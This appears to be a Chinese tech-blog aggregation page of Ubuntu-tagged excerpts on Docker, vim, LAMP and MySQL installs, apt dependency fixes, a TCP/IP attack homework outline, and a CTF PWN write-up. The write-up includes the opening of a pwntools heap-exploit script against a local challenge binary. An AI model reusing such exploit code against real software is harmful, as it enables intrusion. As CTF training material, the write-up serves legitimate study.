Ubuntu

【docker】 VI/VIM 无法使用系统剪贴板(clipboard)

橙三吉。 提交于 2021-01-23 11:46:50
docker 容器里边操作系统是ubuntu 。默认是没有vim 的,需要自己安装一下 1 更新源 apt- get update 2 安装 vim apt- get install vim 此时。系统不支持剪切板 vim --version | grep clipboard 3 安装 apt- get install vim vim-scripts vim-gtk vim-gnome 再次查看 vim --version | grep clipboard 注意 clipboard 和 xterm_clipboard 前面的 加号( +) 加号(+),表示支持; 减号(-),表示不支持。 来源: oschina 链接: https://my.oschina.net/u/4379768/blog/3932772

在 Ubuntu 中安装 Apache、MySQL、PHP(LAMP)套件

删除回忆录丶 提交于 2021-01-23 09:35:27
LAMP 套件是一种流行的开源 Web 开发平台,可用于运行和部署动态网站和基于 Web 的应用程序。通常,LAMP 套件由 Apache Web 服务器、MariaDB/MySQL 数据库、PHP/Python/Perl 程序设计(脚本)语言组成。 LAMP 是 L inux, M ariaDB/ M YSQL, P HP/ P ython/ P erl 的缩写。 本教程描述了如何在 Ubuntu 18.04 LTS 服务器中安装 Apache、MySQL、PHP(LAMP 套件)。 就本教程而言,我们将使用以下 Ubuntu 测试。 操作系统 :Ubuntu 18.04.1 LTS Server Edition IP 地址 :192.168.225.22/24 1. 安装 Apache Web 服务器 首先,利用下面命令更新 Ubuntu 服务器: $ sudo apt update $ sudo apt upgrade 然后,安装 Apache Web 服务器(命令如下): $ sudo apt install apache2 检查 Apache Web 服务器是否已经运行: $ sudo systemctl status apache2 输出结果大概是这样的: ● apache2.service - The Apache HTTP Server Loaded: loaded

深思杯PWN复现(二)

只谈情不闲聊 提交于 2021-01-23 08:45:04
2019山东省省赛的第三道 PWN 题目 题目链接: https://pan.baidu.com/s/17FK07Z0MQUGHB52rm8Ss4A 提取码: isy6 参考: https://wzt.ac.cn/2019/11/04/sdnisc2019 完整 EXP: # encoding=utf-8 from pwn import * #context.log_level = 'debug' p = process( "./pwn" ) elf = ELF( "./pwn" ) libc=ELF( '/lib/x86_64-linux-gnu/libc.so.6' ) def add (index,leng,content) : p.sendlineafter( "Your choice: " , "1" ) p.sendlineafter( "Index: " ,str(index)) p.sendlineafter( "note len: " ,str(leng)) p.sendlineafter( "content: " ,content) def check (index) : p.sendlineafter( "Your choice: " , "2" ) p.sendlineafter( "Index: " ,str(index)) def delete

20199102 2019-2020-2 《网络攻防实践》第五周作业

不羁岁月 提交于 2021-01-23 08:20:26
20199102 2019-2020-2 《网络攻防实践》第五周作业 [toc] 1.为了排版方便,相关图片可能比较小,推荐右键查看原图 2.这个作业最终版尽量用一个软件完成,不增加大家安装负担 3.对arp,TCP/UDP相关原理和字段意义,推荐《TCP/IP协议:卷一》 4.这次作业尝试和很多方法,可行的、不可行的和暂时未完成的都会列在最后 0 总体结构 本次作业属于那个课程 《网络攻防实践》 这个作业要求在哪里 第五次作业 TCP/IP网络协议攻击 我在这个课程的目标是 学习网络攻防相关技术、掌握网络攻防相关能力 这个作业在哪个具体方面帮助我实现目标 学会TCP/IP层相关协议的攻击方式 作业正文 下述正文,1,2,3, 4部分 其他参考文献 见正文最后部分 1.实践内容 1.1 TCP/IP协议栈攻击概述 网络安全属性与攻击模式 网络安全属性:机密性、完整性、可用性、真实性和不可抵赖性 网络攻击基本模式:截获、中断、篡改和伪造。截获是一种被动的攻击模式,其目的是获取网络通信双方的通信信息内容,是对机密性的违反。中断攻击是使目标的正常网络通信和回话无法继续,是对可用性的破坏。伪造则是假冒网络通信方的身份,欺骗通信对方达到恶意目的。篡改则是对网络通信过程的内容进行修改 TCP/IP网络协议栈安全缺陷与攻击技术 网络接口层(数据链路层):常用的协议包括R/ARP和PPP协议

Ubuntu 编译安装LNMP (二) 安装mysql

僤鯓⒐⒋嵵緔 提交于 2021-01-23 06:28:26
安装 : ①安装依赖 sudo apt install gcc g++ libxml2 libxml2-dev libssl-dev curl libcurl4-openssl-dev libgd-dev sudo apt install numactl sudo apt install libaio-dev sudo apt install cmake 注意: MySQL8.0需要用gcc的版本为 5.3以上 ②下载源码 源码包分为带boost版和不带boost版的,方便起见直接下载带boost的。 wget https://dev.mysql.com/get/Downloads/MySQL-8.0/mysql-boost-8.0.16.tar.gz tar xzv -f mysql-boost-8.0.16.tar.gz cd mysql-8.0.16 ③编译安装 cmake -DCMAKE_INSTALL_PREFIX=/usr/local/mysql -DMYSQL_DATADIR=/usr/local/mysql/data -DWITH_BOOST=boost -DFORCE_INSOURCE_BUILD=ON make && make install 如报错: c++: Internal error: Killed (program cc1plus) Please

Ubuntu下安装LNMP之Mysql的安装及卸载

穿精又带淫゛_ 提交于 2021-01-23 05:24:24
Mysql的安装过程也可参考: http://blog.csdn.net/qq_20565303/article/details/69813868 Mysql安装包下载地址: https://dev.mysql.com/downloads/mysql/ 选择Ubuntu Linux + Ubuntu Linux 16.04(x86,64bit)后,我们可以看到会出现很多的安装包,有tar结尾的,也有deb结尾的,这里我们选择tar结尾的即可,下载下来解压之后里面包含了全部的deb单个文件,不用再一个一个下载了。 具体安装也可以参考官网安装文档: https://dev.mysql.com/doc/refman/5.7/en/linux-installation-debian.html 以下,我仅对官网文档进行翻译及相应解说,不当之处,尽请谅解与指出。 在Linux上使用由Oracle提供的Debian包来安装Mysql Oracle提供了Debian包来在Debian系统或类Debian系统上安装mysql,这些安装包可以通过两个不同的渠道获得: 1> MySQL APT存储库。这是在Debian系统上安装MySQL的首选方法,因为它提供了一种简单方便的安装和更新MySQL的产品。有关详细信息,请参见 “安装MySQL在Linux上使用MySQL apt库” 。 2>

解决Ubuntu在安装某个软件时依赖包的版本过高问题

萝らか妹 提交于 2021-01-23 04:43:23
在安装mysql时:   1. sudo apt-get install mysql-server   2. apt-get isntall mysql-client   3. sudo apt-get install libmysqlclient-dev 第三步时:某个依赖包安装不上 出现: zlib1g-dev : Depends: zlib1g (= 1:1.2.8.dfsg-2ubuntu4) but 1:1.2.8.dfsg-2ubuntu4.1 is to be installed E: Unable to correct problems, you have held broken packages. 这个问题查询了好久,最终在这篇博客中找到了解决方法 https://blog.csdn.net/makenothing/article/details/23686141 具体做法是 安装 sudo apt-get install aptitude 解释一下 aptitude 这个词几乎就等价与apt-get,只不过与 apt-get 不同的是,aptitude在处理依赖问题上更佳一些。举例来说,aptitude在删除一个包时,会同时删除本身所依赖的包。这样,系统中不会残留无用的包,整个系统更为干净。并且如果遇到上述情况: 使用 sudo aptitude install

docker 学习(一)什么是Docker

大憨熊 提交于 2021-01-23 04:29:26
项目中用到docker,就学习一下。第一篇是介绍。 Sandboxie(沙箱) :一个虚拟系统程序,允许你在沙盘环境中运行浏览器或其他程序,因此运行所产生的变化可以随后删除。它创造了一个类似沙盒的独立作业环境,在其内部运行的程序并不能对硬盘产生永久性的影响。其为一个独立的虚拟环境,可以用测试不受信任的应用程序或上网行为。 百度上的定义: Docker 是一个 开源 的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的 Linux 机器上,也可以实现 虚拟化 。容器是完全使用 沙箱 机制,相互之间不会有任何接口。 docker解决什么问题 ?   1.不同的应用程序可能会有不同的应用环境,比如.net开发的网站和php开发的网站依赖的软件就不一样,如果把他们依赖的软件都安装在一个服务器上就要调试很久,而且很麻烦,还会造成一些冲突。比如IIS和Apache访问端口冲突。这个时候你就要隔离.net开发的网站和php开发的网站。常规来讲,我们可以在服务器上创建不同的虚拟机在不同的虚拟机上放置不同的应用,但是虚拟机开销比较高。docker可以实现虚拟机隔离应用环境的功能,并且开销比虚拟机小,小就意味着省钱了。   2.你开发软件的时候用的是Ubuntu,但是运维管理的都是centos